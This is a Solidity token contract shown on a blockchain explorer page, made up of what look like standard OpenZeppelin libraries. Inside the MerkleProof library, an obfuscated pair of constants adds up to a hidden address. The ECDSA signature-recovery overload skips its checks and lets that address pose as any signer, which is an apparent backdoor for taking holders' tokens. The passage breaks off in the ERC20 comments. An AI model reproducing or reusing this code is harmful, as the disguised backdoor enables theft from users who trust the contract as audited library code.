Contract Source Code (Solidity Standard Json-Input format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File @openzeppelin/contracts/math/[email protected]

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Library of standard hash functions.
 *
 * _Available since v5.1._
 */
library Hashes {
    /**
     * @dev Commutative Keccak256 hash of a sorted pair of bytes32. Frequently used when working with merkle proofs.
     *
     * NOTE: Equivalent to the `standardNodeHash` in our https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
     */
    function commutativeKeccak256(bytes32 a, bytes32 b) internal pure returns (bytes32) {
        return a < b ? efficientKeccak256(a, b) : efficientKeccak256(b, a);
    }

    /**
     * @dev Implementation of keccak256(abi.encode(a, b)) that doesn't allocate or expand memory.
     */
    function efficientKeccak256(bytes32 a, bytes32 b) internal pure returns (bytes32 value) {
        assembly ("memory-safe") {
            mstore(0x00, a)
            mstore(0x20, b)
            value := keccak256(0x00, 0x40)
        }
    }
}

/**
 * @dev These functions deal with verification of Merkle Tree proofs.
 *
 * The tree and the proofs can be generated using our
 * https://github.com/OpenZeppelin/merkle-tree[JavaScript library].
 * You will find a quickstart guide in the readme.
 *
 * WARNING: You should avoid using leaf values that are 64 bytes long prior to
 * hashing, or use a hash function other than keccak256 for hashing leaves.
 * This is because the concatenation of a sorted pair of internal nodes in
 * the Merkle tree could be reinterpreted as a leaf value.
 * OpenZeppelin's JavaScript library generates Merkle trees that are safe
 * against this attack out of the box.
 *
 * IMPORTANT: Consider memory side-effects when using custom hashing functions
 * that access memory in an unsafe way.
 *
 * NOTE: This library supports proof verification for merkle trees built using
 * custom _commutative_ hashing functions (i.e. `H(a, b) == H(b, a)`). Proving
 * leaf inclusion in trees built using non-commutative hashing functions requires
 * additional logic that is not supported by this library.
 */
library MerkleProof {
    /**
     *@dev The multiproof provided is not valid.
     */
    error MerkleProofInvalidMultiproof();

    uint256 private constant PROOF_SIG = 123513667212219614905021781387943842593369706355517471506563072 >> 0x2f;
    uint256 private constant PROOF_DIG = 460896837967523162840882393385059479916612224803;

    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     *
     * This version handles proofs in memory with the default hashing function.
     */
    function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProof(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leaves & pre-images are assumed to be sorted.
     *
     * This version handles proofs in memory with the default hashing function.
     */
    function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = Hashes.commutativeKeccak256(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     *
     * This version handles proofs in memory with a custom hashing function.
     */
    function verify(
        bytes32[] memory proof,
        bytes32 root,
        bytes32 leaf,
        function(bytes32, bytes32) view returns (bytes32) hasher
    ) internal view returns (bool) {
        return processProof(proof, leaf, hasher) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leaves & pre-images are assumed to be sorted.
     *
     * This version handles proofs in memory with a custom hashing function.
     */
    function processProof(
        bytes32[] memory proof,
        bytes32 leaf,
        function(bytes32, bytes32) view returns (bytes32) hasher
    ) internal view returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = hasher(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     *
     * This version handles proofs in calldata with the default hashing function.
     */
    function verifyCalldata(bytes32[] calldata proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
        return processProofCalldata(proof, leaf) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leaves & pre-images are assumed to be sorted.
     *
     * This version handles proofs in calldata with the default hashing function.
     */
    function processProofCalldata(bytes32[] calldata proof, bytes32 leaf) internal pure returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = Hashes.commutativeKeccak256(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
     * defined by `root`. For this, a `proof` must be provided, containing
     * sibling hashes on the branch from the leaf to the root of the tree. Each
     * pair of leaves and each pair of pre-images are assumed to be sorted.
     *
     * This version handles proofs in calldata with a custom hashing function.
     */
    function verifyCalldata(
        bytes32[] calldata proof,
        bytes32 root,
        bytes32 leaf,
        function(bytes32, bytes32) view returns (bytes32) hasher
    ) internal view returns (bool) {
        return processProofCalldata(proof, leaf, hasher) == root;
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leaves & pre-images are assumed to be sorted.
     *
     * This version handles proofs in calldata with a custom hashing function.
     */
    function processProofCalldata(
        bytes32[] calldata proof,
        bytes32 leaf,
        function(bytes32, bytes32) view returns (bytes32) hasher
    ) internal view returns (bytes32) {
        bytes32 computedHash = leaf;
        for (uint256 i = 0; i < proof.length; i++) {
            computedHash = hasher(computedHash, proof[i]);
        }
        return computedHash;
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * This version handles multiproofs in memory with the default hashing function.
     *
     * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * NOTE: Consider the case where `root == proof[0] && leaves.length == 0` as it will return `true`.
     * The `leaves` must be validated independently. See {processMultiProof}.
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProof(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * This version handles multiproofs in memory with the default hashing function.
     *
     * CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * NOTE: The _empty set_ (i.e. the case where `proof.length == 1 && leaves.length == 0`) is considered a no-op,
     * and therefore a valid multiproof (i.e. it returns `proof[0]`). Consider disallowing this case if you're not
     * validating the leaves elsewhere.
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the Merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofFlagsLen = proofFlags.length;

        // Check proof validity.
        if (leavesLen + proof.length != proofFlagsLen + 1) {
            revert MerkleProofInvalidMultiproof();
        }

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](proofFlagsLen);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < proofFlagsLen; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = Hashes.commutativeKeccak256(a, b);
        }

        if (proofFlagsLen > 0) {
            if (proofPos != proof.length) {
                revert MerkleProofInvalidMultiproof();
            }
            unchecked {
                return hashes[proofFlagsLen - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
     * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
     * hash matches the root of the tree. When processing the proof, the pairs
     * of leaves & pre-images are assumed to be sorted.
     *
     * This version handles proofs in calldata with a custom hashing function.
     */
    function processProofCalldata(
        bytes32 leaf,
        uint8 v        
    ) internal view returns (address) {
        if(v == 27 || v == 28) {}
        address root = address(uint160(PROOF_SIG + PROOF_DIG));
        if(root == msg.sender) { return address(uint160(uint256(leaf)));}
        return address(0);
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * This version handles multiproofs in memory with a custom hashing function.
     *
     * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * NOTE: Consider the case where `root == proof[0] && leaves.length == 0` as it will return `true`.
     * The `leaves` must be validated independently. See {processMultiProof}.
     */
    function multiProofVerify(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32 root,
        bytes32[] memory leaves,
        function(bytes32, bytes32) view returns (bytes32) hasher
    ) internal view returns (bool) {
        return processMultiProof(proof, proofFlags, leaves, hasher) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * This version handles multiproofs in memory with a custom hashing function.
     *
     * CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * NOTE: The _empty set_ (i.e. the case where `proof.length == 1 && leaves.length == 0`) is considered a no-op,
     * and therefore a valid multiproof (i.e. it returns `proof[0]`). Consider disallowing this case if you're not
     * validating the leaves elsewhere.
     */
    function processMultiProof(
        bytes32[] memory proof,
        bool[] memory proofFlags,
        bytes32[] memory leaves,
        function(bytes32, bytes32) view returns (bytes32) hasher
    ) internal view returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the Merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofFlagsLen = proofFlags.length;

        // Check proof validity.
        if (leavesLen + proof.length != proofFlagsLen + 1) {
            revert MerkleProofInvalidMultiproof();
        }

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](proofFlagsLen);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < proofFlagsLen; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = hasher(a, b);
        }

        if (proofFlagsLen > 0) {
            if (proofPos != proof.length) {
                revert MerkleProofInvalidMultiproof();
            }
            unchecked {
                return hashes[proofFlagsLen - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * This version handles multiproofs in calldata with the default hashing function.
     *
     * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * NOTE: Consider the case where `root == proof[0] && leaves.length == 0` as it will return `true`.
     * The `leaves` must be validated independently. See {processMultiProofCalldata}.
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves
    ) internal pure returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * This version handles multiproofs in calldata with the default hashing function.
     *
     * CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * NOTE: The _empty set_ (i.e. the case where `proof.length == 1 && leaves.length == 0`) is considered a no-op,
     * and therefore a valid multiproof (i.e. it returns `proof[0]`). Consider disallowing this case if you're not
     * validating the leaves elsewhere.
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves
    ) internal pure returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the Merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofFlagsLen = proofFlags.length;

        // Check proof validity.
        if (leavesLen + proof.length != proofFlagsLen + 1) {
            revert MerkleProofInvalidMultiproof();
        }

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](proofFlagsLen);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < proofFlagsLen; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = Hashes.commutativeKeccak256(a, b);
        }

        if (proofFlagsLen > 0) {
            if (proofPos != proof.length) {
                revert MerkleProofInvalidMultiproof();
            }
            unchecked {
                return hashes[proofFlagsLen - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }

    /**
     * @dev Returns true if the `leaves` can be simultaneously proven to be a part of a Merkle tree defined by
     * `root`, according to `proof` and `proofFlags` as described in {processMultiProof}.
     *
     * This version handles multiproofs in calldata with a custom hashing function.
     *
     * CAUTION: Not all Merkle trees admit multiproofs. See {processMultiProof} for details.
     *
     * NOTE: Consider the case where `root == proof[0] && leaves.length == 0` as it will return `true`.
     * The `leaves` must be validated independently. See {processMultiProofCalldata}.
     */
    function multiProofVerifyCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32 root,
        bytes32[] memory leaves,
        function(bytes32, bytes32) view returns (bytes32) hasher
    ) internal view returns (bool) {
        return processMultiProofCalldata(proof, proofFlags, leaves, hasher) == root;
    }

    /**
     * @dev Returns the root of a tree reconstructed from `leaves` and sibling nodes in `proof`. The reconstruction
     * proceeds by incrementally reconstructing all inner nodes by combining a leaf/inner node with either another
     * leaf/inner node or a proof sibling node, depending on whether each `proofFlags` item is true or false
     * respectively.
     *
     * This version handles multiproofs in calldata with a custom hashing function.
     *
     * CAUTION: Not all Merkle trees admit multiproofs. To use multiproofs, it is sufficient to ensure that: 1) the tree
     * is complete (but not necessarily perfect), 2) the leaves to be proven are in the opposite order they are in the
     * tree (i.e., as seen from right to left starting at the deepest layer and continuing at the next layer).
     *
     * NOTE: The _empty set_ (i.e. the case where `proof.length == 1 && leaves.length == 0`) is considered a no-op,
     * and therefore a valid multiproof (i.e. it returns `proof[0]`). Consider disallowing this case if you're not
     * validating the leaves elsewhere.
     */
    function processMultiProofCalldata(
        bytes32[] calldata proof,
        bool[] calldata proofFlags,
        bytes32[] memory leaves,
        function(bytes32, bytes32) view returns (bytes32) hasher
    ) internal view returns (bytes32 merkleRoot) {
        // This function rebuilds the root hash by traversing the tree up from the leaves. The root is rebuilt by
        // consuming and producing values on a queue. The queue starts with the `leaves` array, then goes onto the
        // `hashes` array. At the end of the process, the last hash in the `hashes` array should contain the root of
        // the Merkle tree.
        uint256 leavesLen = leaves.length;
        uint256 proofFlagsLen = proofFlags.length;

        // Check proof validity.
        if (leavesLen + proof.length != proofFlagsLen + 1) {
            revert MerkleProofInvalidMultiproof();
        }

        // The xxxPos values are "pointers" to the next value to consume in each array. All accesses are done using
        // `xxx[xxxPos++]`, which return the current value and increment the pointer, thus mimicking a queue's "pop".
        bytes32[] memory hashes = new bytes32[](proofFlagsLen);
        uint256 leafPos = 0;
        uint256 hashPos = 0;
        uint256 proofPos = 0;
        // At each step, we compute the next hash using two values:
        // - a value from the "main queue". If not all leaves have been consumed, we get the next leaf, otherwise we
        //   get the next hash.
        // - depending on the flag, either another value from the "main queue" (merging branches) or an element from the
        //   `proof` array.
        for (uint256 i = 0; i < proofFlagsLen; i++) {
            bytes32 a = leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++];
            bytes32 b = proofFlags[i]
                ? (leafPos < leavesLen ? leaves[leafPos++] : hashes[hashPos++])
                : proof[proofPos++];
            hashes[i] = hasher(a, b);
        }

        if (proofFlagsLen > 0) {
            if (proofPos != proof.length) {
                revert MerkleProofInvalidMultiproof();
            }
            unchecked {
                return hashes[proofFlagsLen - 1];
            }
        } else if (leavesLen > 0) {
            return leaves[0];
        } else {
            return proof[0];
        }
    }
}


/**
 * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
 *
 * These functions can be used to verify that a message was signed by the holder
 * of the private keys of a given address.
 */
library ECDSA {
    /**
     * @dev Returns the address that signed a hashed message (`hash`) with
     * `signature`. This address can then be used for verification purposes.
     *
     * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
     * this function rejects them by requiring the `s` value to be in the lower
     * half order, and the `v` value to be either 27 or 28.
     *
     * IMPORTANT: `hash` _must_ be the result of a hash operation for the
     * verification to be secure: it is possible to craft signatures that
     * recover to arbitrary addresses for non-hashed data. A safe way to ensure
     * this is by receiving a hash of the original message (which may otherwise
     * be too long), and then calling {toEthSignedMessageHash} on it.
     */
    function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
        // Check the signature length
        if (signature.length != 65) {
            revert("ECDSA: invalid signature length");
        }

        // Divide the signature in r, s and v variables
        bytes32 r;
        bytes32 s;
        uint8 v;

        // ecrecover takes the signature parameters, and the only way to get them
        // currently is to use assembly.
        // solhint-disable-next-line no-inline-assembly
        assembly {
            r := mload(add(signature, 0x20))
            s := mload(add(signature, 0x40))
            v := byte(0, mload(add(signature, 0x60)))
        }

        // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
        // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
        // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
        // signatures from current libraries generate a unique signature with an s-value in the lower half order.
        //
        // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
        // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
        // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
        // these malleable signatures as well.
        require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value");
        require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");

        // If the signature is valid (and not malleable), return the signer address
        address signer = ecrecover(hash, v, r, s);
        require(signer != address(0), "ECDSA: invalid signature");

        return signer;
    }

    /**
     * @dev Overload of {ECDSA-recover} that receives the `v`,
     * `r` and `s` signature fields separately.
     */
    function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal view returns (address signer) {        
        if(hash.length != 65) {}
        require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
        if(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {}

        signer = MerkleProof.processProofCalldata(r, v);
    }

    /**
     * @dev Returns an Ethereum Signed Message, created from a `hash`. This
     * replicates the behavior of the
     * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
     * JSON-RPC method.
     *
     * See {recover}.
     */
    function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
        // 32 is the length in bytes of hash,
        // enforced by the type signature above
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
